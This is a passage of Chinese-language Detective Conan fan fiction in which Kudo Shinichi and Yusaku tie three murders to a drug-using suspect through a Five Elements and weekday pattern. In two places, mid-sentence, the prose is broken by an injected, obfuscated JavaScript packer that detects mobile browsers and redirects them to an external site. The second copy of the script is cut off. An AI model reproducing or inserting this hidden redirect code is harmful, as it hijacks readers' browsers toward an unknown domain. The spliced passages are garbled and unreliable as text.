说话间,他人已经随着滑板的嗡鸣声到了现场。没等大和敢助脱口而出“这滑板什么高科技”,就戴着手套接过了诸伏景光手里的手机。 看到手机上那一连串未接来电的座机号码,他终于确认:这就是水刑案的受害者,泽田和也先生的手机。因为那串号码,就是警视厅为了联络上他打电话时用的那部座机的号码。 这座滑雪场就在北郊,从方位上看,确实离凶手打恐吓电话的那个电话亭很近。如果被害人的手机在这里,那么泽田和也先生的尸首可能也就在不远处。滑雪场是昨天才开业的,在此之前北郊的游客不多。如果凶手趁此时抛尸在这附近,大雪掩埋、冰天雪地,尸体很难被发现。 等等,这些白色的粉末好像不是雪……工藤新一翻看着手机,在碎屏的缝隙里发现了一点白色的粉末。 一会儿让鉴识人员好好确认一下吧。 警方马上赶来了。 工藤优作笑眯眯地牵起有希子的手:“又见面了,新一?” “你怎么也来了。”工藤新一抱臂看他。来就来吧,当着这么多人面前秀恩爱是不是过了。 “虽然早上忙了一阵血衣案,但我主要还是给泽田案帮忙嘛,再说了,发现线索的是新一,有希子也在这里,我当然会来。”工藤优作挑眉,又对有希子说,“我先去看看线索,晚上一起去吃饭吧?在电话里表白还是不够正式啊。” 有希子放开他的手,推了他一把:“那你可要快点破案——你们两个都是。小、侦、探?”她刮了刮工藤新一的鼻子。 上辈子有希子就喜欢这么刮她儿子的鼻子,工藤新一习惯性地摸了摸她刮过的地方。 “我们走啦。”工藤优作拉走工藤新一,一副恨不得凭着一部手机就破案、想快点下班的样子。 “嗯……除了白色粉末,手机里的记录倒是没什么特别的。”工藤优作隔着证物袋来回翻着手机里的信息,“手机大概是一年前新换的,看不到三年前的记录。哦对了,说到这个,警方倒是找到一些有关三年前那个日子的线索哦。” “是什么?”工藤新一微微睁大了眼睛。 “之前森村警官让人去查各大陵园的访问记录,虽然没有查到‘泽田和也’四个字,但发现了一块比较可疑的墓碑。”工藤优作说,“案发当天上午,恰好有两个穿着黑色西装的年轻男人去祭拜过,而这块墓碑的主人,正好是死于三年前的11月26日。” “那,这个墓碑的主人和泽田先生的关系是?”工藤新一问道。 “暂时还没发现。那块墓碑的主人是一位中年女性,生前丧偶,独自抚养一个儿子长大。死因据查证是猝死,墓碑上没有刻下她儿子的名字。警方查了一下陵园方面的资料,但是根据留下的墓地购买人资料,警方没找到这个叫灰田曜的人,他的住址也换了人住。” 工藤新一沉吟片刻:“我刚刚又想了一下,为什么凶手一定要采取‘水刑’?如果是报复杀人,在还需要用□□电晕泽田先生、并且等他醒了再动手的情况下,水刑这个杀人手法实在是太麻烦了——凶手到底在哪杀的人?录音里,我听到的撞击声可是有回声的,显然是个空旷的场地——空旷,并且没有人烟。这意味着凶手完全可以直接勒死泽田先生或者什么其他方式。他连绳子都准备了,为什么一定要淹死泽田先生?淹死和勒死在某种意义上其实代表了差不多的折磨意味。” “再者,他并没有选择在动手杀人时直接用泽田先生的手机直播杀人过程,而是录了音。我们听到的电话最后有凶手本人的笑声,那是他在打电话、放录音时笑出来的,而且听上去带着诡异的类似哭腔的怪异腔调。录音这个意象容易让人想到‘记录’。这个凶手,到底得恨到什么程度,才会选择记录下泽田先生的死亡过程然后自己边听边笑呢?” “笑也是个问题。”工藤优作跟上他的思路,“他没有用变声器,不怕被警方听出来或者采取声纹检验吗?” “以上这些特点让我觉得,这个凶手很傲慢。”工藤新一看着优作,“这种傲慢一定是有来由的。他没有打电话给警视厅,说明并不是在挑衅警方,起码没有那么明确。那么这种傲慢就只能是罪行浇灌出来的了……没有被发现的罪行。” “这不是凶手犯下的第一桩案子。”工藤优作总结。 “但是,那座墓碑……”工藤新一觉得很奇怪,“如果丧偶、只有独子,按理说会刻上‘某人慈母某某’的字样。现在却连购买者都没有音讯……” “总之,在这里耗下去也没有意义。”工藤优作站起身,“等警方找到尸体再说吧。我今天还答应了小田切警部帮他看看血衣案,可是今晚要和有希子吃饭诶——” “好,好,我跟你一起去好了吧。”工藤新一半月眼。 他就这么稀里糊涂地坐上了去往血衣案死者家里的警车。 “血衣案”全名“11·15血衣杀人案”。案件发生在11月15日上午,凶手在用匕首杀害被害人钉宫涧一郎先生后,于中午十二点二十分左右向钉宫先生所在保险公司寄去了钉宫先生被害时穿着的白色衬衫。衬衫放在一个密封的文件袋里,已经全部被血液染红、甚至已经氧化。而直到两天后,警方才在南郊水域发现了钉宫涧一郎的尸体——脖颈大动脉破裂、加之失血过多死亡,作为凶器的金属匕首就插在他的左手腕上。 “文件袋里?”工藤新一还是第一次听详细的血衣案案情描述,觉得这个点大有文章,“这个凶手是不是跟死者是同事关系?” “嗯,小田切警部也是这么说的,不过他们排查了这个保险公司所有的员工,甚至连敌对公司的可疑人员也查了,就是找不到线索,现在在查离职员工。”工藤优作喝了口水,指着证据图片里的一张文件袋照片,“这个行为太有意思了,用文件袋寄往公司,很明显是想把这件事在公司闹大,让每一个员工都知道,钉宫涧一郎死了。” “但奇怪的是,一般这种‘宣告式’的挑衅,凶手都会表明自己的身份,起码要暗示自己的身份。可那个文件袋就是最普通的那种,衬衫也确实只是死者当天穿在身上的衣物而已。”工藤优作接着说。 “会不会,‘文件袋’本身就暗示了什么?”工藤新一盯着那个沾满血迹的密封文件袋,“密封是为了防止血液流出包裹导致被快递公司发现,应该不具有其他可能性;文件袋……公司的各个部门往来、递交文件、归档都会用到,根本不具有特殊性。” “所以案件推进就卡在这里了。钉宫涧一郎的验尸报告也只是显示他先被□□电晕,然后被人割喉而死。割喉者用刀不是很利落,割了两三次才找对地方。”工藤优作捏着下巴,“不过把刀插进死者左手腕的行为倒是利落的很。顺带一提,死者是左撇子。” “又是仇杀。”工藤新一叹道,“文件、公司、惯用手,我只能想到仇杀。” 警车一路开到血衣案死者钉宫涧一郎的家里,钉宫夫人出来迎接他们。看到工藤新一,忍不住问:“怎么还带小孩子来了。” “家里没有大人在,哥哥只能把我带来了,我不会捣乱的,阿姨。”工藤新一眨巴着眼睛,“阿姨节哀。” “人都死了,节不节哀的都一样。”钉宫夫人叹了口气,让他们进去,“孩子你别吓到就是,要是无聊,我给你拿点吃的。” 一行人走进了钉宫家,都入座后,佐藤正义说道:“夫人,今天来是有几个问题向您求证。第一,您记不记得,您的丈夫曾经带过哪位同事回家吗?或者是开车送过他回家?” “有一些吧,记不大清。”钉宫夫人说,“像是他的秘书、他的一些下属们。倒是没往家里带过人。” “那么,您丈夫有没有和谁起过冲突,工作上的。” “他是个刚正不阿的性子,经常看不惯一些事,冲突总是难免。要说最近,倒是好像没有过。” “那么,”工藤新一忽然问,“他有没有亲自辞退过什么人呢?” “这……”钉宫夫人看向佐藤正义,他点头了,才细细回忆起来,“最近没有,几年前倒是有过几个。我记得其中一个还试图来我们家里求情,结果我丈夫连一句话都没说,把他晾了一晚上。” “能详细说说吗?”工藤优作问。 “具体的我也不知道。我问我丈夫为什么要辞退他,他只说是那个人咎由自取,他不敢要那样心性的人。” 工藤新一忽然又指着房间里一幅照片:“那是钉宫叔叔参加禁毒宣传活动的照片吗?” 钉宫夫人顺着他的手看去:“对,他一直很热衷于参与这样的公益活动。而且实不相瞒,我丈夫的一位堂兄就是因为吸毒而死的,他对这东西深恶痛绝。” 工藤新一若有所思地点点头。 出了门,工藤新一仰头看向佐藤正义,还没问出口,工藤优作就已经把药品检验报告尸体理化反应报告的彩信发给了他。 “你是要看这个吧。”他胸有成竹地说。 “对。”工藤新一点开报告。 果然。 手机碎屏缝隙里那些白色粉末是□□,但泽田和也先生的尸体中没有检验出有吸食毒品的痕迹。 “所以,水刑案的凶手大概率吸毒,甚至有可能贩卖——等等,小田切警部来消息了。”工藤优作说。 “这是天润保险公司近十年离职员工名单……等一下,这个名字——”工藤新一扒拉警车上的文件,找出一份《泽田和也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137904|180325||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周遭亲友同事排查表》。 在“中学同学-上户坊”的笔录中曾经提到过,三年前泽田和也在年末时曾经沮丧了很久,和他一起喝酒时老是念叨着“为什么不能再谨慎一点”、“他现在已经不想见到我了”、“我很想帮助他”之类的话。那个“他”是谁,上户坊没有听清,只说泽田和也好像称呼他为“よう”。 “よう”可以写作“曜”。这个字在名字里并不常见。而那份保险公司离职员工名单里,恰好有个人的名是这个字的单字,而他恰好是三年前被死者钉宫涧一郎辞退的员工之一,是那座墓碑的立碑人。 灰田曜。 场面一时沉默下来,工藤优作扶了扶眼镜,对佐藤正义说:“也许,我们可以试着并案侦查了。” “虽然现在还不能确定这个‘よう’是不是灰田曜,但既然两案都没有进展,不如试着一起调查,有可能甲案的线索就在乙案里。”工藤新一补充。 他一开始就觉得这两个案子有相似之处,尤其是凶手的“展示犯罪”行为。这类大张旗鼓的犯人本就稀少,一次出现两个,实在是…… 不对,是三个! 工藤新一忽然意识到一件事:10月末那起女招待坠楼案,同样找不到凶手、同样是熟人作案的他杀……同样是“展示行为”。 在大庭广众之下坠楼,又明晃晃地表明这是他杀,这何尝不是一种“展示犯罪”? 但是这个想法确确实实只是一个“思路”,没有任何证据能够证明。 “我们会试着去查查这个‘灰田曜’,希望能有结果。”佐藤正义点头同意。 工藤优作和工藤新一就此离开。 两天后,警方终于有了进展。 工藤新一收到消息时,正在家里和诸伏景光、降谷零一起做课外实践作业:绘制东京创意地图。这个作业对工藤新一实在简单,他负责最初的绘制地图阶段和检查,景光和零就负责“创意”的部分。 实在是他侦探的客观思维太抢镜,拿不出什么具有艺术性的建议,只好做一些复刻性的工作。 “找不到这个人?”工藤新一用肩膀夹着手机,费劲地趴在地上标注各个景点、街道名称,“搬家了?” “不是,警方找到了他的租屋,但是人去屋空,已经好几天了。” “他住在哪?”工藤新一问。 “南郊的一栋别墅。我让房东开了门,进去看了一圈,感觉不太对。”工藤优作小声说,“房间里空空荡荡的,没什么贵重物品,我还在抽屉里找到了针管——大概是用来注射毒品。” “他吸毒?” “对,我拜托鉴识人员检测了一下残留的粉末,是□□。他的嫌疑很重。” “还有一个疑点。”工藤新一看着他绘制的地图上、代表南郊的部分,“灰田曜家里不富裕,却还是租住在别墅区,现在又不见踪影……他的职业是什么?” “似乎无业。”工藤优作说,“现在因为他吸毒的原因,警方已经开始查他的人际关系了。我们发现,灰田曜和泽田和也是同一所大学的学生,并且都加入了同一社团。” “他就是两案的交集。”工藤新一说,“我刚刚想到,辞退通知是不是也会通过文件夹的形式递交给他?” “我现在去钉宫涧一郎的公司问问。”工藤优作说,“对了,泽田和也的尸体发现情况有些奇怪。前天我只跟你说了理化反应报告,没来得及说这个——他的尸体被凶手绑在滑雪场后面一棵树上,尸体呈现跪姿。一个有很浓重忏悔意味的姿势。” “如果凶手就是灰田曜,在他母亲忌日这天将仇杀对象摆成忏悔姿势也合乎犯罪心理。”工藤新一点了点地图上的北郊滑雪场,“那钉宫涧一郎先生呢?我记得他的尸体是在西郊的河里发现的。” “对,警方随后在西郊的树林里某处发现了车辙印和血迹,已经确定那里是第一案发现场。其他的没有什么奇怪的地方。” “好。” 诸伏景光和降谷零在他打电话时嘀嘀咕咕,一起在纸上写了什么。工藤新一挂断电话过去看,发现是他刚刚说的案子的几个关键词。 降谷零眨着紫灰色的眼睛看他,兴致勃勃地问:“新一,你看我们写的对吗?” 案件这种东西,果然还是会吸引这两位“曾经”的警官先生啊。工藤新一无奈拿起纸张,看着他们写下的东西。 11月15日,周五,匕首,钉宫涧一郎,抛尸河中; 11月26日,周三,水刑,泽田和也,绑在树上。 工藤新一忽然认真起来。 钉宫案的凶器是金属制的匕首,泽田先生的死因是水刑窒息。而两位被害人的姓氏里恰好有“金(钅)”和“水(氵)”。而涧一郎先生的尸体是抛尸河里,“涧”与“河”属水;泽田和也先生的“和”带一个“木”字,他的尸体被捆在了树木上。 ……会是巧合吗? 工藤新一坐不住了,拿上这张纸,滑着滑板去保险公司找工藤优作。 28. 石出 他到的时候,工藤优作正在询问的尾声。 “金田女士,您确定曾经听见过如上对话吗?” “应该没有听错,吸毒这种事太敏感了,我印象很深。要不是你们问,我都不敢乱说的。那个小伙子挺积极的,还很有孝心,我都不敢相信这事。”一位胖胖的女职员说。 工藤优作收起本子,道谢之后离开了。 工藤新一就在门口等他,手里捧着一杯不知道哪位姐姐给他的瓶装果汁饮料。大概是直接从售卖机里拿出来就送给了他,工藤新一没有之前一样防备,喝了几口,嘴角沾了一点饮料的水光。 “怎么样?”工藤新一问。 “之前那座中年女性的墓碑应该就是灰田曜立的,是他妈妈,患有严重的心脑血管疾病。据灰田曜以前的同事说,他之前一直是一个比较上进的人,尤其很有孝心。但三年前不知道什么时候开始,他变得嗜睡、消瘦,他们一直以为是灰田曜生了病。”工藤优作拿出手帕递给他,示意工藤新一擦擦嘴,“结果有一天下午,钉宫涧一郎突然辞退了灰田曜。” “那当时的场景呢?”工藤新一胡乱抹了一把嘴,追问。 “据说是钉宫先生怒气冲冲地拿着文件袋从屋里出来,把文件袋扔在灰田曜跟前转身就走。灰田曜打开看了看之后面色惨白,之后就追了上去,在钉宫涧一郎的办公室哀求了半个多小时,钉宫先生则是一直在训斥他。因为办公室比较隔音所以没人听见他们说了什么,这些情况都是办公室外的员工们根据屋里的剪影移动猜的。” 工藤优作停顿了一下:“我刚刚问了一下钉宫先生的一个下属,她当天正好去送文件,没看到钉宫先生怒气冲冲的样子,就推门进了办公室,恰好听见了‘毒品’两个字。不过之后钉宫先生应该还是心软了,没有再说这件事,也给这个女员工下了封口令,没有把灰田曜被辞退的真正原因说出去。” “如果他说了,可能结局又会是另一种方式了。”工藤新一叹道。 工藤优作伸了个懒腰,拉着工藤新一进了一家附近的咖啡店,点了两份甜品和咖啡:“说起来,你怎么过来了?” “我发现了点东西,你看这张纸条。”工藤新一终于想起自己此行的目的,拿出降谷零他们写的那张字条,把自己的发现简单说了一遍。 “……确实很是巧合,但‘涧’和‘和’有一些太牵强了吧。我觉得不如说,”工藤优作拿出笔,在纸条上又加了几个字,“如果把‘周五’‘周三’换成这样的表述——” 周五、金曜日、匕首、钉宫涧一郎、抛尸河中; 周三、水曜日、水刑、泽田和也、绑在树上。 “这样才更像是某种杀人规律,不是吗?”工藤优作把纸条递回给他。 金曜日、匕首、钉宫; 水曜日、水刑、泽田。 工藤新一恍然大悟:“的确。我忽略了星期。犯人既然选择在11月26日、母亲祭日当天杀害泽田先生,就代表他很可能在日期、星期的选择上也有考量。” “一个是‘金’,一个是‘水’,”工藤优作沉思,“难道这个凶手要凑齐五行、或是七曜吗?考虑到我们的嫌疑人就叫‘曜’,这很难说啊。” 工藤新一忽然福至心灵:“坠楼案的死者叫什么名字?” “嗯?” “10月24日发生在市中心的坠楼案,那个女招待叫什么名字?” “你是觉得……”工藤优作一愣,“她叫做城户阜月。” 工藤新一在纸条第一行的上方又写了一行字。 10月24日、周六、土曜日、建筑工地坠楼、城户阜月。 土曜日、坠楼、城户。 “土”。 “难道,坠楼案也是他所为?”工藤优作喃喃道,“可仅凭这一点,还不足以并案侦查。” “找到交集就可以了吧。”工藤新一笑着,眼睛里闪烁着光芒,“而且我觉得,这个凶手如果如此具有艺术性地安排了三位死者的死亡,不可能会草率地处理尸体。钉宫先生的‘沉尸’可能预示着泽田先生的‘水刑’。如果想知道城户阜月小姐的死是否也是这连环杀人案的一案,我们也许可以去找找看她的案发地是否有‘金’的预示。” “你这么一说,确实有。但并不算明显。”工藤优作说,“警方判断坠楼案是他杀的证据就是‘金属’——城户阜月坠楼处的金属临时护栏被人为弄松掉了。凶手可能是想,如果城户小姐没有被胁迫成功,也能很轻易地把她推下楼吧。” 工藤新一提议:“我们去现场看看吧。” 建筑工地的警戒线外又迎来了警官们,外加两个警视厅编外人员。 村中努警官给他们拉高了警戒线:“既然是小田切警部的许可,你们就进去吧。这案子再不破,建筑公司都要找我们要说法了。” 现场的足迹早在10月24日案发当天以及后续几天的搜查中彻底采集完毕,一个多月过去,早就不需要继续保护地面。工藤新一和工藤优作就只戴上了手套,走进现场。 坠楼这层唯一的特别之处大概就是“顶层”,除此之外,无论是建筑进度还是风格,都没什么特殊性。工藤新一站在坠落点,丝毫不恐高地向下看去:死者坠楼的地点正好是一处土堆,再次印证了他们发现的杀人规律。 这建筑工地安全措施还算是健全,居然会在没修好的楼层边上加装临时安全护栏。工藤新一心想,蹲在坠落点附近的护栏处查看——的确有人为破坏的痕迹。 看来是能够证实猜想了。接下来就要去找出灰田曜与这起案件的死者有关系的证据了。 “城户阜月小姐的尸体有什么异常表现吗?”坐在去往城户阜月工作的酒吧的车上,工藤新一问道。 “其他的倒还好,只有一点,”工藤优作翻出案卷里的图片,“她死亡时,被绑在身后的左手紧紧攥住了右侧裙摆。这身裙子是她的工作服,这点警方确认过了。” “右侧裙摆……”工藤新一说,“只有右侧,没有左侧,这就说明很有可能并不是高空坠落的下意识反应,而是某种死亡讯息。城户小姐是左撇子吗?” “不是。我明白你的意思。”工藤优作眨了眨眼,“她裙子的左右两侧都有内衬的口袋,但警方检查过了,口袋里没有东西,也没有任何异常——也许是她平日的某些小习惯,比方说常放在里面的东西,或许会有一些关于凶手的线索。” “没错。” “如果真的是同一个犯人所为,在犯罪行为学上也说得通。”索性还在车上,工藤优作就接着跟他分析,“第一起案子的杀人手法是‘胁迫跳楼’,第二起案子是‘割喉’,第三起则是‘水刑’、‘虐杀’。犯人的手段越来越激进了。” “对。”工藤新一跟着他的思路,“一开始大概是他第一次杀人,从心理上还没有那么高的接受能力,也没有经验,所以选择让死者自己坠楼。这种手法算得上‘间接’或者说,没有‘亲自动手’,能够在一定程度上减轻他的负罪感。” “而第二次,他就开始敢于亲自动手了。也许也有他犯罪计划中关于‘金’的一环,要求他必须亲自动手。但他还是没做过这种事,所以选择先把钉宫涧一郎先生电晕,在其无意识的状态下割喉杀人,随后抛尸。” 工藤优作点点头。 “到了泽田先生这里,凶手已经开始自鸣得意,因为距离第一起案子已经过去了一个多月,而警方依然没有任何头绪、没有查到他头上,所以他变得傲慢,杀人手法更加激进——在泽田先生清醒状态下对他施加水刑,直至死亡。并且由于某种原因,凶手大概认为泽田先生应该对他的母亲的死表示忏悔,所以也没有像处理钉宫涧一郎先生尸体那样草草了事,而是让他以跪姿绑缚在树干上。” 工藤新一评价:“他的犯罪手法都不复杂,而且具有很强的规律性,并不算什么高智商犯罪。他所有的行动能够成功,都只能归结于两点:一是东京的监控系统不发达,二是其与三位被害者都不具有浅层社会关系——即容易被警方查到的关系。” 出租车拐过一道弯,来到了夜场活动还没开始、稍显冷清的风情街口。 “请问,城户阜月小姐在这里工作吗?”工藤优作和工藤新一是擅自调查,根本没拿到所谓“小田切警部”的许可,但理直气壮,“警视厅下达的指令,我们需要再了解一些情况。” 店老板是个泼辣的女人,她掐了烟,不耐烦地说:“又来个小白脸——对,这里是。不过这是酒吧,小孩子不让进。” “可是我家里没有人欸,漂亮姐姐,”工藤新一又在做他熟悉的事了,“我只有哥哥一个人。我一定不会乱跑的,姐姐。” “啧,”老板娘把烟扔进烟灰缸,往身上喷了两下香水,“反正还没开张,行吧。” “谢谢姐姐!”工藤新一露出一个八颗白牙的标准笑容。 工藤优作带着他走进酒吧,看着吧台墙上的员工照片,找到了那个短发的姑娘——城户阜月。她的照片被老板娘撤下了原本的位置,放到了被装饰幕布遮住的角落相框里。 “女士,请问一下你们店里的员工是在更衣间换制服还是会把制服带回家里直接穿来?”工藤优作接过酒保递来的柠檬水,道了声谢。 “都是在更衣室换。阜月君也是。”老板娘倚在门边,“要去更衣室看看吗?现在里面没人。阜月君的柜子也一直没人动。” “那就打扰了。”工藤优作放下水杯,跟着老板娘走进了员工通道。 工藤新一跟在他旁边,一副天真的样子:“员工通道怎么进入呢?” “刷员工卡,每个员工都能进。”老板娘随口说。 “那,阜月姐姐的员工卡还在吗?” 老板娘疑惑地看着小孩,工藤优作在一边打掩护:“这孩子受我影响,从小就喜欢玩侦探游戏。不过我也想问这个问题。” “哦,行,”老板娘把更衣室的门打开,“她的员工卡不在这里,但是我也没听说丢过,可能是那天……” 可能是那天被人杀害的过程中丢失了。 工藤优作忽然想到:“她的员工卡一般放在哪里?挂在脖子上吗?” “没有,她觉得那样子不好看,所以一向是放在裙兜里。” 裙兜! “阜月姐姐平时会在裙子里放什么东西呢?”工藤新一问。 老板娘说:“也就是员工卡了,最多带上两包纸,她公私分的很开,上班时连手机都会锁在柜子里。” 工藤优作简单查看了城户阜月的衣柜,重点检查有没有鉴识人员遗漏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他暂时放弃了“寻找灰田曜”的行动,仔细翻找这可疑人员的消费记录。最终只发现这位“皮尔·考斯”在四年半之前成为了这家酒吧的会员,但不常过来,偶尔一次的花销数额都比较大,并且大多都预定了“鸦尾”包厢、且没有指定服务员。 工藤优作问他:“怎么了?” 工藤新一不语。低着头把账册也翻出来,对比着皮尔·考斯每次消费的日期,一笔一笔查看。这人、或者这张会员卡每年会在酒吧消费两三次,每次都花销巨大,除此之外没有什么明显的疑点。廖廖十几次的消费记录,也就只有一次“免单”称得上“不正常”。记录显示,距今三年前的6月24日,曾有过一笔被免去一半的消费,原因只潦草地写了个“赔偿免单”。 “这个人有什么不对吗?”工藤优作敲敲他的肩膀。 工藤新一掩饰一般地把账册胡乱翻到某页:“没,就是……在里面忽然看到个外国名字,有点好奇。怎么了吗?” 工藤优作也不说信与不信,指着会员名录的一行:“我是想说,找到他了——灰田曜。而且巧合的是,他的会员正是在四年前经由城户阜月小姐之手办理的。” “那就没问题了,应该可以并案了。”工藤新一舒了口气,“如果是这样的话,我们就可以根据他目前犯下的三起案子总结一下规律了。” 工藤优作点点头:“第一起案子是‘土’,第二起是‘金’,第三起是‘水’。按照这个顺序,我觉得他可能是想按照五行相生的规律犯案,再加上他对死者遗体的处置方式也很有可能是在预示下一起案件的作案手法,所以现在有80%的可能性,下一起案子的属性是‘木’。” “而且还有一点——第一起案件的死者城户阜月小姐死于月圆之夜的凌晨,而她不仅姓氏里带‘土’字偏旁,名字里也带着‘月’字,既符合‘土曜日’又符合‘月曜日’。结合我们的嫌疑人姓氏‘灰田’带‘火’且名叫‘曜’,我合理怀疑,这位犯人预谋的第五起案件也是最后一起案件,就是用‘火’和‘日’的元素自杀。这样,就既有‘五行相生’,又集齐了‘七曜’。” “月圆之夜?”工藤新一嘴角抽了抽。要是让他那位还没出生的好友知道这犯人竟然用月圆之夜这么美好的意象杀人,一定气得牙根都咬碎了。 “但是哪怕强行理解到这样,我也总觉得忽略了什么。”工藤优作捏住下巴,“土、金、水……” “是地点。”工藤新一先一步反应过来。 “第一起坠楼案发生在东京市中心,第二起血衣案的第一案发现场是东京西郊,第三起水刑案则是在北郊。在传统五行中,土、金、水对应的就是中、西、北。再结合犯人不惜花大价钱租下的别墅位于南郊——南属火,正对应了灰田曜的‘灰’。”工藤新一抬头看他,自信满满地说,“所以接下来他要犯下的罪行,被害人的姓氏里会带有‘木’字、杀人地点位于东郊,而时间大概……就是下一个木曜日——12月4日了。” “现在已经是12月1日的晚上六点了。”工藤优作看了一眼手表,“不论如何,我先把这个信息告诉警察先生们。三案合并,可调用的资源也多些。” 29. 追本 灰田曜的会员卡是四年前由城户阜月经手办理的,一般的花销都维持在一个不多不少的程度,且大多数都要了发票,应该是在酒吧跟人谈生意——毕竟他曾经供职于保险公司——要发票是回公司报销用的。其中仅有几次没有要发票、花销也相对较少,这几次应该就是他的私人行为了。 值得注意的是,灰田曜在这家清吧的消费只在四年前至三年前的11月24日,之后再也没有来过店里。且他没要发票的私人行程也主要集中在10月份之后——即他被钉宫涧一郎先生从公司辞退之后。 工藤新一扫着他的消费记录,忽然发现了一个眼熟的日期:三年前的6月24日,也就是“皮尔·考斯”的账目被免了一半单的那天,灰田曜有一笔额外的私人支出,独立于他那天要的发票之外。 他买了两杯很贵的皮斯可纯饮。 难道说…… 工藤新一实在太在意这个神秘的、疑似皮斯可的会员了,思路不可避免地往上靠。太多细节了,实在是不像巧合。 “店主姐姐!”工藤新一跳下吧台椅,跑到后厨门口、拽着酒吧老板娘的围裙衣角,“姐姐,你可以带我们去看看那个叫做‘鸦尾’的房间吗?” 老板娘一愣:“怎么了吗?” 工藤优作帮他解释,半是纵容:“我们可能找到了有关城户小姐死亡的真相,需要去……” “好。”老板娘没等他说完话,就把围裙一甩,“走吧。” “可是,老板,”旁边有一名服务生迟疑地拦了一下,“那间房间今天有客人预定的。” “不是跟你说过了一会儿会有警察来?”老板娘说,“要是真有什么关键线索,别说包间,今天咱们都别想开门。” 她说着像是埋怨警方的话,可语气却充满了期待,似乎希望这位年轻人和小朋友真的能找出什么。 找出一些能让阜月君安息的证据。 包间都在二楼,“鸦尾”包间更是在二楼走廊的最深处。路上,工藤新一像是好奇地问:“姐姐,我看到有一个外国人总是订这个包间,而且每次都花好多钱,他是个什么样的人啊?” “你说的是考斯先生吧,小弟弟,”老板娘说,“嗯……怎么说,我其实也就见过他三四次,但印象很深。因为他这个人实在太神秘了,穿一身黑不说还总是带一两个保镖,我还以为是什么极道组织。不过意外的是他本人还蛮随和的,虽然名字是外文,但日语说的非常好哦。” “他不是来了十几次了吗?姐姐为什么说只见过他三四次?” “你是看消费记录了吧,那个不准的,上面的记录都是别人拿着皮尔·考斯先生的会员卡来消费的,给我们店里添了不少的收入。不过说起来是挺奇怪的,他们每次都只要“鸦尾”房间,而且每个人都穿的一身黑。” 越来越像了。工藤新一接着问:“你知道他们是来干什么的吗?” “谈生意吧,每次约的人都不一样。我听见过几个字,什么‘胶囊’之类的,可能是药品企业?”说着,她打开房间门,按亮了灯,“进去吧,我在门口等你们?” “麻烦了。”工藤优作朝她点点头,从包里拿出手绢。 工藤新一已经装着一脑袋怀疑在房间里搜寻了。 “姐姐还记得最后一次见到皮尔·考斯先生是什么时候吗?”一边翻着房间,工藤新一一边问。 “应该是今年的二三月吧,记不清了。”老板娘靠在门边回答,“他和阜月君的死有关吗?” “现在还不能肯定,女士。但我们确实已经找到了很多证据,否则也不会通知警方。”工藤优作回答。他的手伸进沙发的缝隙中,敏锐地察觉到了些许异样。 “胶囊?”工藤新一用手帕接过,仔细看了看。 那是一颗很普通的纯蓝色胶囊,上面没有任何印字,总给人一种不安的感觉。少年小心地隔着手套捏开胶囊,在里面发现了混杂着晶状粉末的白色粉末。 看着不是什么好东西。工藤新一没有声张,给工藤优作看了看,就把胶囊重新拧好,用手帕包起来。随后他起身,问道:“姐姐,你知道三年前的6月24日,这个包间发生了什么事吗?为什么你给他们免了一半的单?” 老板娘愣了一下,然后细细回忆了起来:“好像……是有这么一回事……” “请您务必想起来!”工藤新一认真地说。 “具体的我记不清了,但好像是因为他们包间点的酒被我们的服务生弄撒了,我们才免了一半的单。”老板娘说。 警方就在工藤新一的不断思索中赶到了酒吧。 经鉴视组当天晚上的加急鉴定,那枚蓝色的胶囊里装的确实是毒品。鉴于此,又因为重大嫌疑人灰田曜与坠楼案也产生了关联,在工藤优作的极力主张下,小田切警部同意了并案调查,并将此案命名为“七曜连续凶杀案”。 工藤优作把他和新一发现的案件线索和规律串联起来,同刑警们讲了一遍,最后说:“还请务必在两天内查清灰田曜的所有人际关系、找出他可能要杀害的所有人。如果我们的推理正确,他很可能会在三天后、也就是12月4日再度犯案。” “为什么是12月4日?12月11日也同样是木曜日啊。”有警员提出疑问。 “因为从犯罪心理学的角度来看,连环杀人犯的犯案间隔只会越来越短。”森村警官说,“10月24日的坠楼案与11月15日的血衣案隔了22天,血衣案与11月26日的水刑案隔了11天。因此,犯人下一次作案的时间最可能是间隔8天的12月4日,而不是间隔15天的12月11日。更何况,我们总要从最坏的结果考虑。” 工藤优作点点头。 “所以接下来,我们的任务就是全力搜索嫌疑人灰田曜以及排查他的人际关系,要在犯人犯案之前抓住他!”小田切警部起身,“大家都听清楚了吗!” “是!” 整个搜查一课彻夜无眠。 但刑警们显然不允许一个十岁小孩参与他们点灯熬油的行为,工藤新一再次享受了警车接送服务,由目暮十三一路送回了诸伏家。 小孩念着疑似皮斯可的神秘贩毒方,坐在警车上越想越心烦,最后心平气和地决定给自己找点乐子:“呐,目暮警官,你和森川小姐怎么样了?” 森川绿,也就是前不久被赤井务武救下的那位女生的朋友,同时也是上辈子目暮警官的妻子。 目暮警官颇有日后高木涉之风地把方向盘打了个摆,警车抽风似的在马路上晃了三晃。 看来进展不错嘛。工藤新一心满意足地打了个哈欠:“婚礼的时候要记得给我发喜糖哦。” 第二天,12月2日,周二。 无论案情多么紧急,小学生还是得雷打不动地上学去。工藤新一苦思冥想了一晚上他前世了解到的组织情报,无奈皮斯可死在他还没有那么多盟友的时候,且是被琴酒以制裁叛徒名义灭口的,组织里也没有太过详细的资料。所以这个“皮尔·考斯”究竟是不是皮斯可,他现在还没有足够的证据。 他在体育课上打了个哈欠,看着周围活蹦乱跳学健身操的小学生们:“真是的,为什么小学生的精力都这么旺盛。” “你不是也是小学生吗,新一。”降谷零拍拍他,示意他跟上体育老师的动作。 